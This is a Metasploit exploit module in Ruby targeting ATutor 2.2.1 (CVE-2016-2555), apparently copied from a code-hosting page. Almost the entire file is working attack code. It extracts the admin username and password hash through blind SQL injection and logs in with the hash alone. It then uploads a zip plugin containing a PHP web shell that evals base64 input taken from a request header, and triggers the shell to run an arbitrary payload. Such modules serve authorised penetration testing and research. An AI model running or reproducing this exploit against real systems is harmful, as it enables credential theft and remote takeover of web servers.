246 lines
7.7 KiB
Ruby
246 lines
7.7 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
class MetasploitModule < Msf::Exploit::Remote
|
|
Rank = ExcellentRanking
|
|
|
|
include Msf::Exploit::Remote::HttpClient
|
|
include Msf::Exploit::FileDropper
|
|
|
|
def initialize(info={})
|
|
super(update_info(info,
|
|
'Name' => 'ATutor 2.2.1 SQL Injection / Remote Code Execution',
|
|
'Description' => %q{
|
|
This module exploits a SQL Injection vulnerability and an authentication weakness
|
|
vulnerability in ATutor. This essentially means an attacker can bypass authentication
|
|
and reach the administrator's interface where they can upload malicious code.
|
|
},
|
|
'License' => MSF_LICENSE,
|
|
'Author' =>
|
|
[
|
|
'mr_me <steventhomasseeley[at]gmail.com>', # initial discovery, msf code
|
|
],
|
|
'References' =>
|
|
[
|
|
[ 'CVE', '2016-2555' ],
|
|
[ 'URL', 'http://www.atutor.ca/' ], # Official Website
|
|
[ 'URL', 'http://sourceincite.com/research/src-2016-08/' ] # Advisory
|
|
],
|
|
'Privileged' => false,
|
|
'Payload' =>
|
|
{
|
|
'DisableNops' => true,
|
|
},
|
|
'Platform' => ['php'],
|
|
'Arch' => ARCH_PHP,
|
|
'Targets' => [[ 'Automatic', { }]],
|
|
'DisclosureDate' => 'Mar 1 2016',
|
|
'DefaultTarget' => 0))
|
|
|
|
register_options(
|
|
[
|
|
OptString.new('TARGETURI', [true, 'The path of Atutor', '/ATutor/'])
|
|
])
|
|
end
|
|
|
|
def print_status(msg='')
|
|
super("#{peer} - #{msg}")
|
|
end
|
|
|
|
def print_error(msg='')
|
|
super("#{peer} - #{msg}")
|
|
end
|
|
|
|
def print_good(msg='')
|
|
super("#{peer} - #{msg}")
|
|
end
|
|
|
|
def check
|
|
# the only way to test if the target is vuln
|
|
if test_injection
|
|
return Exploit::CheckCode::Vulnerable
|
|
else
|
|
return Exploit::CheckCode::Safe
|
|
end
|
|
end
|
|
|
|
def create_zip_file
|
|
zip_file = Rex::Zip::Archive.new
|
|
@header = Rex::Text.rand_text_alpha_upper(4)
|
|
@payload_name = Rex::Text.rand_text_alpha_lower(4)
|
|
@plugin_name = Rex::Text.rand_text_alpha_lower(3)
|
|
|
|
path = "#{@plugin_name}/#{@payload_name}.php"
|
|
# this content path is where the ATutor authors recommended installing it
|
|
register_file_for_cleanup("#{@payload_name}.php", "/var/content/module/#{path}")
|
|
zip_file.add_file(path, "<?php eval(base64_decode($_SERVER['HTTP_#{@header}'])); ?>")
|
|
zip_file.pack
|
|
end
|
|
|
|
def exec_code
|
|
send_request_cgi({
|
|
'method' => 'GET',
|
|
'uri' => normalize_uri(target_uri.path, "mods", @plugin_name, "#{@payload_name}.php"),
|
|
'raw_headers' => "#{@header}: #{Rex::Text.encode_base64(payload.encoded)}\r\n"
|
|
}, 0.1)
|
|
end
|
|
|
|
def upload_shell(cookie)
|
|
post_data = Rex::MIME::Message.new
|
|
post_data.add_part(create_zip_file, 'archive/zip', nil, "form-data; name=\"modulefile\"; filename=\"#{@plugin_name}.zip\"")
|
|
post_data.add_part("#{Rex::Text.rand_text_alpha_upper(4)}", nil, nil, "form-data; name=\"install_upload\"")
|
|
data = post_data.to_s
|
|
res = send_request_cgi({
|
|
'uri' => normalize_uri(target_uri.path, "mods", "_core", "modules", "install_modules.php"),
|
|
'method' => 'POST',
|
|
'data' => data,
|
|
'ctype' => "multipart/form-data; boundary=#{post_data.bound}",
|
|
'cookie' => cookie
|
|
})
|
|
|
|
if res && res.code == 302 && res.redirection.to_s.include?("module_install_step_1.php?mod=#{@plugin_name}")
|
|
res = send_request_cgi({
|
|
'method' => 'GET',
|
|
'uri' => normalize_uri(target_uri.path, "mods", "_core", "modules", res.redirection),
|
|
'cookie' => cookie
|
|
})
|
|
if res && res.code == 302 && res.redirection.to_s.include?("module_install_step_2.php?mod=#{@plugin_name}")
|
|
res = send_request_cgi({
|
|
'method' => 'GET',
|
|
'uri' => normalize_uri(target_uri.path, "mods", "_core", "modules", "module_install_step_2.php?mod=#{@plugin_name}"),
|
|
'cookie' => cookie
|
|
})
|
|
return true
|
|
end
|
|
end
|
|
# unknown failure...
|
|
fail_with(Failure::Unknown, "Unable to upload php code")
|
|
return false
|
|
end
|
|
|
|
def login(username, hash)
|
|
password = Rex::Text.sha1(hash)
|
|
res = send_request_cgi({
|
|
'method' => 'POST',
|
|
'uri' => normalize_uri(target_uri.path, "login.php"),
|
|
'vars_post' => {
|
|
'form_password_hidden' => password,
|
|
'form_login' => username,
|
|
'submit' => 'Login',
|
|
'token' => ''
|
|
},
|
|
})
|
|
# poor developer practices
|
|
cookie = "ATutorID=#{$4};" if res.get_cookies =~ /ATutorID=(.*); ATutorID=(.*); ATutorID=(.*); ATutorID=(.*);/
|
|
if res && res.code == 302 && res.redirection.to_s.include?('admin/index.php')
|
|
# if we made it here, we are admin
|
|
store_valid_credential(user: username, private: hash, private_type: :nonreplayable_hash)
|
|
return cookie
|
|
end
|
|
# auth failed if we land here, bail
|
|
fail_with(Failure::NoAccess, "Authentication failed with username #{username}")
|
|
return nil
|
|
end
|
|
|
|
def perform_request(sqli)
|
|
# the search requires a minimum of 3 chars
|
|
sqli = "#{Rex::Text.rand_text_alpha(3)}'/**/or/**/#{sqli}/**/or/**/1='"
|
|
rand_key = Rex::Text.rand_text_alpha(1)
|
|
res = send_request_cgi({
|
|
'method' => 'POST',
|
|
'uri' => normalize_uri(target_uri.path, "mods", "_standard", "social", "index_public.php"),
|
|
'vars_post' => {
|
|
"search_friends_#{rand_key}" => sqli,
|
|
'rand_key' => rand_key,
|
|
'search' => 'Search'
|
|
},
|
|
})
|
|
return res.body
|
|
end
|
|
|
|
def dump_the_hash
|
|
extracted_hash = ""
|
|
sqli = "(select/**/length(concat(login,0x3a,password))/**/from/**/AT_admins/**/limit/**/0,1)"
|
|
login_and_hash_length = generate_sql_and_test(do_true=false, do_test=false, sql=sqli).to_i
|
|
for i in 1..login_and_hash_length
|
|
sqli = "ascii(substring((select/**/concat(login,0x3a,password)/**/from/**/AT_admins/**/limit/**/0,1),#{i},1))"
|
|
asciival = generate_sql_and_test(false, false, sqli)
|
|
if asciival >= 0
|
|
extracted_hash << asciival.chr
|
|
end
|
|
end
|
|
return extracted_hash.split(":")
|
|
end
|
|
|
|
# greetz to rsauron & the darkc0de crew!
|
|
def get_ascii_value(sql)
|
|
lower = 0
|
|
upper = 126
|
|
while lower < upper
|
|
mid = (lower + upper) / 2
|
|
sqli = "#{sql}>#{mid}"
|
|
result = perform_request(sqli)
|
|
if result =~ /There are \d+ entries\./
|
|
lower = mid + 1
|
|
else
|
|
upper = mid
|
|
end
|
|
end
|
|
if lower > 0 and lower < 126
|
|
value = lower
|
|
else
|
|
sqli = "#{sql}=#{lower}"
|
|
result = perform_request(sqli)
|
|
if result =~ /There are \d+ entries\./
|
|
value = lower
|
|
end
|
|
end
|
|
return value
|
|
end
|
|
|
|
def generate_sql_and_test(do_true=false, do_test=false, sql=nil)
|
|
if do_test
|
|
if do_true
|
|
result = perform_request("1=1")
|
|
if result =~ /There are \d+ entries\./
|
|
return true
|
|
end
|
|
else not do_true
|
|
result = perform_request("1=2")
|
|
if not result =~ /There are \d+ entries\./
|
|
return true
|
|
end
|
|
end
|
|
elsif not do_test and sql
|
|
return get_ascii_value(sql)
|
|
end
|
|
end
|
|
|
|
def test_injection
|
|
if generate_sql_and_test(do_true=true, do_test=true, sql=nil)
|
|
if generate_sql_and_test(do_true=false, do_test=true, sql=nil)
|
|
return true
|
|
end
|
|
end
|
|
return false
|
|
end
|
|
|
|
def service_details
|
|
super.merge({ post_reference_name: self.refname, jtr_format: 'sha512' })
|
|
end
|
|
|
|
def exploit
|
|
print_status("Dumping the username and password hash...")
|
|
credz = dump_the_hash
|
|
if credz
|
|
print_good("Got the #{credz[0]}'s hash: #{credz[1]} !")
|
|
admin_cookie = login(credz[0], credz[1])
|
|
if upload_shell(admin_cookie)
|
|
exec_code
|
|
end
|
|
end
|
|
end
|
|
end
|